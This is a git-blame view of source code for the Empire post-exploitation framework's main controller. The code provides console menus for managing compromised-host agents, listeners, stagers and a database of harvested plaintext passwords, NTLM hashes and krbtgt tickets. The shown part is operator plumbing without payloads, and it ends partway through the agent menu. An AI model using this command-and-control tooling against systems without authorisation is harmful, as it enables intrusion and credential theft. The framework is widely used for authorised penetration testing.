Empire/lib/common/empire.py

3588 lines
127 KiB
Python
Raw Normal View History

2015-08-05 18:36:39 +00:00
"""
The main controller class for Empire.
This is what's launched from ./empire.
Contains the Main, Listener, Agents, Agent, and Module
menu loops.
"""
# make version for Empire
2016-09-23 18:04:35 +00:00
VERSION = "2.0.0-beta"
2016-09-23 18:04:35 +00:00
from pydispatch import dispatcher
import sys
import cmd
import sqlite3
import os
import hashlib
import time
2015-08-05 18:36:39 +00:00
# Empire imports
import helpers
import messages
import agents
import listeners
import modules
import stagers
import credentials
# custom exceptions used for nested menu navigation
class NavMain(Exception):
"""
Custom exception class used to navigate to the 'main' menu.
"""
pass
class NavAgents(Exception):
"""
Custom exception class used to navigate to the 'agents' menu.
"""
pass
class NavListeners(Exception):
"""
Custom exception class used to navigate to the 'listeners' menu.
"""
pass
2015-08-05 18:36:39 +00:00
class MainMenu(cmd.Cmd):
"""
The main class used by Empire to drive the 'main' menu
displayed when Empire starts.
"""
def __init__(self, args=None, restAPI=False):
2015-08-05 18:36:39 +00:00
cmd.Cmd.__init__(self)
# globalOptions[optionName] = (value, required, description)
2015-08-05 18:36:39 +00:00
self.globalOptions = {}
# empty database object
self.conn = self.database_connect()
2016-09-23 18:04:35 +00:00
time.sleep(1)
2015-08-05 18:36:39 +00:00
# pull out some common configuration information
2016-09-23 18:04:35 +00:00
(self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist')
2015-08-05 18:36:39 +00:00
# change the default prompt for the user
2016-09-23 18:04:35 +00:00
self.prompt = '(Empire) > '
2015-08-05 18:36:39 +00:00
self.do_help.__func__.__doc__ = '''Displays the help menu.'''
self.doc_header = 'Commands'
dispatcher.connect(self.handle_event, sender=dispatcher.Any)
2015-08-05 18:36:39 +00:00
# Main, Agents, or Listeners
2016-09-23 18:04:35 +00:00
self.menu_state = 'Main'
# parse/handle any passed command line arguments
self.args = args
self.handle_args()
2016-09-23 18:04:35 +00:00
dispatcher.send('[*] Empire starting up...', sender="Empire")
# instantiate the agents, listeners, and stagers objects
self.agents = agents.Agents(self, args=args)
self.credentials = credentials.Credentials(self, args=args)
self.stagers = stagers.Stagers(self, args=args)
self.modules = modules.Modules(self, args=args)
self.listeners = listeners.Listeners(self, args=args)
# print the loading menu
messages.loading()
def check_root(self):
"""
Check if Empire has been run as root, and alert user.
"""
try:
if os.geteuid() != 0:
if self.isroot:
messages.title(VERSION)
print "[!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents!"
while True:
a = raw_input(helpers.color("[>] Are you sure you want to continue (y) or (n): "))
if a.startswith("y"):
return
if a.startswith("n"):
self.shutdown()
sys.exit()
else:
pass
if os.geteuid() == 0:
if self.isroot:
pass
if not self.isroot:
cur = self.conn.cursor()
cur.execute("UPDATE config SET rootuser = 1")
cur.close()
except Exception as e:
print e
2015-08-05 18:36:39 +00:00
def handle_args(self):
"""
Handle any passed arguments.
"""
if self.args.listener or self.args.stager:
# if we're displaying listeners/stagers or generating a stager
if self.args.listener:
if self.args.listener == 'list':
2016-09-23 18:04:35 +00:00
messages.display_active_listeners(self.listeners.activeListeners)
else:
2016-09-23 18:04:35 +00:00
activeListeners = self.listeners.activeListeners
targetListener = [l for l in activeListeners if self.args.listener in l[1]]
if targetListener:
targetListener = targetListener[0]
2016-09-23 18:04:35 +00:00
# messages.display_listener_database(targetListener)
# TODO: reimplement this logic
else:
print helpers.color("\n[!] No active listeners with name '%s'\n" % (self.args.listener))
else:
if self.args.stager == 'list':
print "\nStagers:\n"
print " Name Description"
print " ---- -----------"
for stagerName, stager in self.stagers.stagers.iteritems():
print " %s%s" % ('{0: <17}'.format(stagerName), stager.info['Description'])
print "\n"
else:
stagerName = self.args.stager
try:
targetStager = self.stagers.stagers[stagerName]
menu = StagerMenu(self, stagerName)
if self.args.stager_options:
for option in self.args.stager_options:
if '=' not in option:
print helpers.color("\n[!] Invalid option: '%s'" % (option))
print helpers.color("[!] Please use Option=Value format\n")
if self.conn:
self.conn.close()
sys.exit()
# split the passed stager options by = and set the appropriate option
optionName, optionValue = option.split('=')
menu.do_set("%s %s" % (optionName, optionValue))
# generate the stager
menu.do_generate('')
else:
messages.display_stager(targetStager)
except Exception as e:
print e
print helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName))
# shutdown the database connection object
if self.conn:
self.conn.close()
sys.exit()
2015-08-05 18:36:39 +00:00
def shutdown(self):
"""
Perform any shutdown actions.
"""
2016-09-23 18:04:35 +00:00
print "\n" + helpers.color("[!] Shutting down...")
2015-08-05 18:36:39 +00:00
dispatcher.send("[*] Empire shutting down...", sender="Empire")
# enumerate all active servers/listeners and shut them down
2016-09-23 18:04:35 +00:00
self.listeners.shutdown_listener('all')
2015-08-05 18:36:39 +00:00
# shutdown the database connection object
if self.conn:
self.conn.close()
def database_connect(self):
"""
Connect to the default database at ./data/empire.db.
"""
2015-08-05 18:36:39 +00:00
try:
# set the database connectiont to autocommit w/ isolation level
self.conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
2016-01-14 20:57:26 +00:00
self.conn.text_factory = str
2015-08-05 18:36:39 +00:00
self.conn.isolation_level = None
return self.conn
except Exception:
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Could not connect to database")
print helpers.color("[!] Please run database_setup.py")
sys.exit()
2016-09-23 18:04:35 +00:00
# def preloop(self):
# traceback.print_stack()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
2015-08-05 18:36:39 +00:00
def cmdloop(self):
2016-09-23 18:04:35 +00:00
"""
The main cmdloop logic that handles navigation to other menus.
"""
while True:
2015-08-05 18:36:39 +00:00
try:
2016-09-23 18:04:35 +00:00
if self.menu_state == 'Agents':
self.do_agents('')
elif self.menu_state == 'Listeners':
self.do_listeners('')
2015-08-05 18:36:39 +00:00
else:
# display the main title
messages.title(VERSION)
2015-08-05 18:36:39 +00:00
# get active listeners, agents, and loaded modules
2016-09-23 18:04:35 +00:00
num_agents = self.agents.get_agents_db()
if num_agents:
num_agents = len(num_agents)
else:
num_agents = 0
2015-08-05 18:36:39 +00:00
num_modules = self.modules.modules
if num_modules:
num_modules = len(num_modules)
else:
num_modules = 0
2016-09-23 18:04:35 +00:00
num_listeners = self.listeners.activeListeners
if num_listeners:
num_listeners = len(num_listeners)
else:
num_listeners = 0
print " " + helpers.color(str(num_modules), "green") + " modules currently loaded\n"
print " " + helpers.color(str(num_listeners), "green") + " listeners currently active\n"
print " " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"
cmd.Cmd.cmdloop(self)
2016-09-23 18:04:35 +00:00
# handle those pesky ctrl+c's
2015-08-05 18:36:39 +00:00
except KeyboardInterrupt as e:
self.menu_state = "Main"
try:
choice = raw_input(helpers.color("\n[>] Exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.shutdown()
return True
else:
continue
except KeyboardInterrupt as e:
continue
# exception used to signal jumping to "Main" menu
except NavMain as e:
self.menu_state = "Main"
# exception used to signal jumping to "Agents" menu
except NavAgents as e:
self.menu_state = "Agents"
# exception used to signal jumping to "Listeners" menu
except NavListeners as e:
self.menu_state = "Listeners"
2015-08-05 18:36:39 +00:00
except Exception as e:
print helpers.color("[!] Exception: %s" % (e))
time.sleep(5)
2015-08-05 18:36:39 +00:00
def print_topics(self, header, commands, cmdlen, maxcol):
2016-09-23 18:04:35 +00:00
"""
Print a nicely formatted help menu.
Adapted from recon-ng
"""
if commands:
self.stdout.write("%s\n" % str(header))
2015-08-05 18:36:39 +00:00
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for command in commands:
self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
2015-08-05 18:36:39 +00:00
self.stdout.write("\n")
def emptyline(self):
2016-09-23 18:04:35 +00:00
"""
If any empty line is entered, do nothing.
"""
pass
2015-08-05 18:36:39 +00:00
def handle_event(self, signal, sender):
"""
Default event handler.
Signal Senders:
Empire - the main Empire controller (this file)
Agents - the Agents handler
Listeners - the Listeners handler
HttpHandler - the HTTP handler
EmpireServer - the Empire HTTP server
"""
# if --debug X is passed, log out all dispatcher signals
2015-08-05 18:36:39 +00:00
if self.args.debug:
2016-09-23 18:04:35 +00:00
debug_file = open('empire.debug', 'a')
debug_file.write("%s %s : %s\n" % (helpers.get_datetime(), sender, signal))
debug_file.close()
2015-08-05 18:36:39 +00:00
if self.args.debug == '2':
# if --debug 2, also print the output to the screen
2016-09-23 18:04:35 +00:00
print " %s : %s" % (sender, signal)
2015-08-05 18:36:39 +00:00
# display specific signals from the agents.
if sender == "Agents":
if "[+] Initial agent" in signal:
print helpers.color(signal)
2016-09-23 18:04:35 +00:00
if ("[+] Listener for" in signal) and ("updated to" in signal):
print helpers.color(signal)
2015-08-05 18:36:39 +00:00
elif "[!] Agent" in signal and "exiting" in signal:
print helpers.color(signal)
elif "WARNING" in signal or "attempted overwrite" in signal:
print helpers.color(signal)
2015-08-05 18:36:39 +00:00
elif "on the blacklist" in signal:
print helpers.color(signal)
elif sender == "EmpireServer":
if "[!] Error starting listener" in signal:
print helpers.color(signal)
elif sender == "Listeners":
print helpers.color(signal)
###################################################
# CMD methods
###################################################
def default(self, line):
2016-09-23 18:04:35 +00:00
"Default handler."
2015-08-05 18:36:39 +00:00
pass
def do_exit(self, line):
"Exit Empire"
raise KeyboardInterrupt
2015-08-05 18:36:39 +00:00
def do_agents(self, line):
"Jump to the Agents menu."
try:
agents_menu = AgentsMenu(self)
agents_menu.cmdloop()
except Exception as e:
raise e
2015-08-05 18:36:39 +00:00
def do_listeners(self, line):
"Interact with active listeners."
try:
2016-09-23 18:04:35 +00:00
listener_menu = ListenersMenu(self)
listener_menu.cmdloop()
except Exception as e:
raise e
2015-08-05 18:36:39 +00:00
def do_usestager(self, line):
"Use an Empire stager."
try:
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2015-08-05 18:36:39 +00:00
if parts[0] not in self.stagers.stagers:
print helpers.color("[!] Error: invalid stager module")
2015-08-05 18:36:39 +00:00
elif len(parts) == 1:
stager_menu = StagerMenu(self, parts[0])
stager_menu.cmdloop()
elif len(parts) == 2:
listener = parts[1]
if not self.listeners.is_listener_valid(listener):
print helpers.color("[!] Please enter a valid listener name or ID")
else:
self.stagers.set_stager_option('Listener', listener)
stager_menu = StagerMenu(self, parts[0])
stager_menu.cmdloop()
else:
print helpers.color("[!] Error in MainMenu's do_userstager()")
except Exception as e:
raise e
2015-08-05 18:36:39 +00:00
2016-03-22 18:32:47 +00:00
2015-08-05 18:36:39 +00:00
def do_usemodule(self, line):
"Use an Empire module."
if line not in self.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
try:
module_menu = ModuleMenu(self, line)
module_menu.cmdloop()
except Exception as e:
raise e
2015-08-05 18:36:39 +00:00
2016-03-22 18:32:47 +00:00
2015-08-05 18:36:39 +00:00
def do_searchmodule(self, line):
"Search Empire module names/descriptions."
self.modules.search_modules(line.strip())
2015-08-05 18:36:39 +00:00
def do_creds(self, line):
"Add/display credentials to/from the database."
filterTerm = line.strip()
if filterTerm == "":
creds = self.credentials.get_credentials()
elif filterTerm.split()[0].lower() == "add":
2015-08-05 18:36:39 +00:00
# add format: "domain username password <notes> <credType> <sid>
args = filterTerm.split()[1:]
if len(args) == 3:
domain, username, password = args
if helpers.validate_ntlm(password):
# credtype, domain, username, password, host, sid="", notes=""):
self.credentials.add_credential("hash", domain, username, password, "")
else:
self.credentials.add_credential("plaintext", domain, username, password, "")
elif len(args) == 4:
domain, username, password, notes = args
if helpers.validate_ntlm(password):
self.credentials.add_credential("hash", domain, username, password, "", notes=notes)
else:
self.credentials.add_credential("plaintext", domain, username, password, "", notes=notes)
elif len(args) == 5:
domain, username, password, notes, credType = args
self.credentials.add_credential(credType, domain, username, password, "", notes=notes)
elif len(args) == 6:
domain, username, password, notes, credType, sid = args
self.credentials.add_credential(credType, domain, username, password, "", sid=sid, notes=notes)
else:
print helpers.color("[!] Format is 'add domain username password <notes> <credType> <sid>")
return
creds = self.credentials.get_credentials()
elif filterTerm.split()[0].lower() == "remove":
try:
args = filterTerm.split()[1:]
if len(args) != 1:
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
else:
if args[0].lower() == "all":
choice = raw_input(helpers.color("[>] Remove all credentials from the database? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.credentials.remove_all_credentials()
else:
if "," in args[0]:
credIDs = args[0].split(",")
self.credentials.remove_credentials(credIDs)
elif "-" in args[0]:
parts = args[0].split("-")
credIDs = [x for x in xrange(int(parts[0]), int(parts[1]) + 1)]
2015-08-05 18:36:39 +00:00
self.credentials.remove_credentials(credIDs)
else:
self.credentials.remove_credentials(args)
except Exception:
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Error in remove command parsing.")
print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
return
elif filterTerm.split()[0].lower() == "export":
args = filterTerm.split()[1:]
if len(args) != 1:
print helpers.color("[!] Please supply an output filename/filepath.")
return
else:
self.credentials.export_credentials(args[0])
2015-08-05 18:36:39 +00:00
return
elif filterTerm.split()[0].lower() == "plaintext":
creds = self.credentials.get_credentials(credtype="plaintext")
elif filterTerm.split()[0].lower() == "hash":
creds = self.credentials.get_credentials(credtype="hash")
elif filterTerm.split()[0].lower() == "krbtgt":
creds = self.credentials.get_krbtgt()
else:
creds = self.credentials.get_credentials(filterTerm=filterTerm)
2015-08-05 18:36:39 +00:00
messages.display_credentials(creds)
def do_set(self, line):
"Set a global option (e.g. IP whitelists)."
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) == 1:
print helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path.")
else:
if parts[0].lower() == "ip_whitelist":
if parts[1] != "" and os.path.exists(parts[1]):
try:
open_file = open(parts[1], 'r')
ipData = open_file.read()
open_file.close()
self.agents.ipWhiteList = helpers.generate_ip_list(ipData)
except Exception:
print helpers.color("[!] Error opening ip file %s" % (parts[1]))
2015-08-05 18:36:39 +00:00
else:
self.agents.ipWhiteList = helpers.generate_ip_list(",".join(parts[1:]))
elif parts[0].lower() == "ip_blacklist":
if parts[1] != "" and os.path.exists(parts[1]):
try:
open_file = open(parts[1], 'r')
ipData = open_file.read()
open_file.close()
self.agents.ipBlackList = helpers.generate_ip_list(ipData)
except Exception:
print helpers.color("[!] Error opening ip file %s" % (parts[1]))
2015-08-05 18:36:39 +00:00
else:
self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:]))
else:
print helpers.color("[!] Please choose 'ip_whitelist' or 'ip_blacklist'")
def do_reset(self, line):
"Reset a global option (e.g. IP whitelists)."
if line.strip().lower() == "ip_whitelist":
self.agents.ipWhiteList = None
if line.strip().lower() == "ip_blacklist":
self.agents.ipBlackList = None
def do_show(self, line):
"Show a global option (e.g. IP whitelists)."
if line.strip().lower() == "ip_whitelist":
print self.agents.ipWhiteList
if line.strip().lower() == "ip_blacklist":
print self.agents.ipBlackList
def do_load(self, line):
"Loads Empire modules from a non-standard folder."
if line.strip() == '' or not os.path.isdir(line.strip()):
2016-09-23 18:04:35 +00:00
print helpers.color("[!] Please specify a valid folder to load modules from.")
else:
self.modules.load_modules(rootPath=line.strip())
2015-08-05 18:36:39 +00:00
def do_reload(self, line):
"Reload one (or all) Empire modules."
2015-08-05 18:36:39 +00:00
if line.strip().lower() == "all":
# reload all modules
print "\n" + helpers.color("[*] Reloading all modules.") + "\n"
self.modules.load_modules()
elif os.path.isdir(line.strip()):
# if we're loading an external directory
self.modules.load_modules(rootPath=line.strip())
2015-08-05 18:36:39 +00:00
else:
if line.strip() not in self.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
print "\n" + helpers.color("[*] Reloading module: " + line) + "\n"
self.modules.reload_module(line)
def do_list(self, line):
"Lists active agents or listeners."
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2016-09-23 18:04:35 +00:00
if parts[0].lower() == 'agents':
2016-09-23 18:04:35 +00:00
line = ' '.join(parts[1:])
allAgents = self.agents.get_agents_db()
2016-09-23 18:04:35 +00:00
if line.strip().lower() == 'stale':
2016-09-23 18:04:35 +00:00
agentsToDisplay = []
2016-09-23 18:04:35 +00:00
for agent in allAgents:
# max check in -> delay + delay*jitter
2016-09-23 18:04:35 +00:00
intervalMax = (agent['delay'] + agent['delay'] * agent['jitter']) + 30
# get the agent last check in time
2016-09-23 18:04:35 +00:00
agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
# if the last checkin time exceeds the limit, remove it
2016-09-23 18:04:35 +00:00
agentsToDisplay.append(agent)
2016-09-23 18:04:35 +00:00
messages.display_agents(agentsToDisplay)
2016-09-23 18:04:35 +00:00
elif line.strip() != '':
# if we're listing an agents active in the last X minutes
try:
minutes = int(line.strip())
# grab just the agents active within the specified window (in minutes)
2016-09-23 18:04:35 +00:00
agentsToDisplay = []
for agent in allAgents:
agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
2016-09-23 18:04:35 +00:00
if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60):
agentsToDisplay.append(agent)
2016-09-23 18:04:35 +00:00
messages.display_agents(agentsToDisplay)
except Exception:
print helpers.color("[!] Please enter the minute window for agent checkin.")
else:
2016-09-23 18:04:35 +00:00
messages.display_agents(allAgents)
2016-09-23 18:04:35 +00:00
elif parts[0].lower() == 'listeners':
messages.display_active_listeners(self.listeners.activeListeners)
def do_interact(self, line):
"Interact with a particular agent."
name = line.strip()
2016-09-23 18:04:35 +00:00
sessionID = self.agents.get_agent_id_db(name)
2016-09-23 18:04:35 +00:00
if sessionID and sessionID != '' and sessionID in self.agents.agents:
AgentMenu(self, sessionID)
else:
print helpers.color("[!] Please enter a valid agent name")
2016-09-23 18:04:35 +00:00
def complete_usemodule(self, text, line, begidx, endidx, language=None):
"Tab-complete an Empire module path."
2015-08-05 18:36:39 +00:00
module_names = self.modules.modules.keys()
2016-09-23 18:04:35 +00:00
if language:
module_names = [ (module_name[len(language)+1:]) for module_name in module_names if module_name.startswith(language)]
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in module_names if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
def complete_reload(self, text, line, begidx, endidx):
"Tab-complete an Empire PowerShell module path."
module_names = self.modules.modules.keys() + ["all"]
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in module_names if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
def complete_usestager(self, text, line, begidx, endidx):
"Tab-complete an Empire stager module path."
2016-09-23 18:04:35 +00:00
stagerNames = self.stagers.stagers.keys()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if line.split(' ')[1].lower() in stagerNames:
listenerNames = self.listeners.get_listener_names()
endLine = ' '.join(line.split(' ')[1:])
mline = endLine.partition(' ')[2]
2015-08-05 18:36:39 +00:00
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in listenerNames if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
else:
# otherwise tab-complate the stager names
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in stagerNames if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a global option."
options = ["ip_whitelist", "ip_blacklist"]
2016-09-23 18:04:35 +00:00
if line.split(' ')[1].lower() in options:
return helpers.complete_path(text, line, arg=True)
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_load(self, text, line, begidx, endidx):
"Tab-complete a module load path."
return helpers.complete_path(text, line)
2015-08-05 18:36:39 +00:00
def complete_reset(self, text, line, begidx, endidx):
"Tab-complete a global option."
2015-08-05 18:36:39 +00:00
return self.complete_set(text, line, begidx, endidx)
def complete_show(self, text, line, begidx, endidx):
"Tab-complete a global option."
2015-08-05 18:36:39 +00:00
return self.complete_set(text, line, begidx, endidx)
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = ["add", "remove", "export", "hash", "plaintext", "krbtgt"]
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
def complete_interact(self, text, line, begidx, endidx):
"Tab-complete an interact command"
2016-09-23 18:04:35 +00:00
names = self.agents.get_agent_names_db()
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
class AgentsMenu(cmd.Cmd):
"""
The main class used by Empire to drive the 'agents' menu.
"""
2015-08-05 18:36:39 +00:00
def __init__(self, mainMenu):
cmd.Cmd.__init__(self)
self.mainMenu = mainMenu
self.doc_header = 'Commands'
# set the prompt text
self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > '
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
messages.display_agents(self.mainMenu.agents.get_agents_db())
2015-08-05 18:36:39 +00:00
# def preloop(self):
# traceback.print_stack()
2015-08-05 18:36:39 +00:00
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, commands, cmdlen, maxcol):
if commands:
self.stdout.write("%s\n" % str(header))
2015-08-05 18:36:39 +00:00
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for command in commands:
self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
2015-08-05 18:36:39 +00:00
self.stdout.write("\n")
def emptyline(self):
pass
2015-08-05 18:36:39 +00:00
def do_back(self, line):
2016-03-22 18:32:47 +00:00
"Go back to the main menu."
raise NavMain()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
2015-08-05 18:36:39 +00:00
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
2015-08-05 18:36:39 +00:00
def do_exit(self, line):
"Exit Empire."
raise KeyboardInterrupt
2015-08-05 18:36:39 +00:00
def do_list(self, line):
"Lists all active agents (or listeners)."
2015-08-05 18:36:39 +00:00
if line.lower().startswith("listeners"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
elif line.lower().startswith("agents"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
2015-08-05 18:36:39 +00:00
else:
self.mainMenu.do_list("agents " + str(line))
2015-08-05 18:36:39 +00:00
def do_rename(self, line):
"Rename a particular agent."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
# name sure we get an old name and new name for the agent
if len(parts) == 2:
# replace the old name with the new name
self.mainMenu.agents.rename_agent(parts[0], parts[1])
else:
print helpers.color("[!] Please enter an agent name and new name")
def do_interact(self, line):
"Interact with a particular agent."
2015-08-05 18:36:39 +00:00
name = line.strip()
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(name)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if sessionID and sessionID != '' and sessionID in self.mainMenu.agents.agents:
AgentMenu(self.mainMenu, sessionID)
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter a valid agent name")
def do_kill(self, line):
"Task one or more agents to exit."
name = line.strip()
2016-09-23 18:04:35 +00:00
if name.lower() == 'all':
2015-08-05 18:36:39 +00:00
try:
2016-09-23 18:04:35 +00:00
choice = raw_input(helpers.color('[>] Kill all agents? [y/N] ', 'red'))
if choice.lower() != '' and choice.lower()[0] == 'y':
allAgents = self.mainMenu.agents.get_agents_db()
for agent in allAgents:
sessionID = agent['session_id']
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_EXIT')
except KeyboardInterrupt:
2016-09-23 18:04:35 +00:00
print ''
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
try:
choice = raw_input(helpers.color("[>] Kill agent '%s'? [y/N] " % (name), 'red'))
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id_db(name)
if sessionID and len(sessionID) != 0:
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_EXIT')
else:
print helpers.color("[!] Invalid agent name")
except KeyboardInterrupt:
print ''
2015-08-05 18:36:39 +00:00
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
def do_clear(self, line):
"Clear one or more agent's taskings."
name = line.strip()
2016-09-23 18:04:35 +00:00
if name.lower() == 'all':
self.mainMenu.agents.clear_agent_tasks_db('all')
elif name.lower() == 'autorun':
2016-10-06 18:32:33 +00:00
self.mainMenu.agents.clear_autoruns_db()
2015-08-05 18:36:39 +00:00
else:
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(name)
2015-08-05 18:36:39 +00:00
if sessionID and len(sessionID) != 0:
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.clear_agent_tasks_db(sessionID)
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Invalid agent name")
def do_sleep(self, line):
"Task one or more agents to 'sleep [agent/all] interval [jitter]'"
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) == 1:
print helpers.color("[!] Please enter 'interval [jitter]'")
2016-09-23 18:04:35 +00:00
elif parts[0].lower() == 'all':
2015-08-05 18:36:39 +00:00
delay = parts[1]
jitter = 0.0
if len(parts) == 3:
jitter = parts[2]
2016-09-23 18:04:35 +00:00
allAgents = self.mainMenu.agents.get_agents_db()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents:
sessionID = agent['session_id']
2015-08-05 18:36:39 +00:00
# update this agent info in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('delay', delay, sessionID)
self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter))
2015-08-05 18:36:39 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter)
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
2015-08-05 18:36:39 +00:00
delay = parts[1]
jitter = 0.0
if len(parts) == 3:
jitter = parts[2]
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('delay', delay, sessionID)
self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter))
2015-08-05 18:36:39 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter)
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
2015-08-10 22:50:18 +00:00
def do_lostlimit(self, line):
2016-09-23 18:04:35 +00:00
"Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] '"
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-10 02:18:02 +00:00
if len(parts) == 1:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] Usage: 'lostlimit [agent/all] [number of missed callbacks]")
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
elif parts[0].lower() == 'all':
lostLimit = parts[1]
allAgents = self.mainMenu.agents.get_agents_db()
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents:
sessionID = agent['session_id']
2015-08-10 02:18:02 +00:00
# update this agent info in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID)
2015-08-10 02:18:02 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit))
2015-08-10 02:18:02 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = "Tasked agent to change lost limit %s" % (lostLimit)
2015-08-10 02:18:02 +00:00
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
lostLimit = parts[1]
2015-08-10 02:18:02 +00:00
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID)
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit))
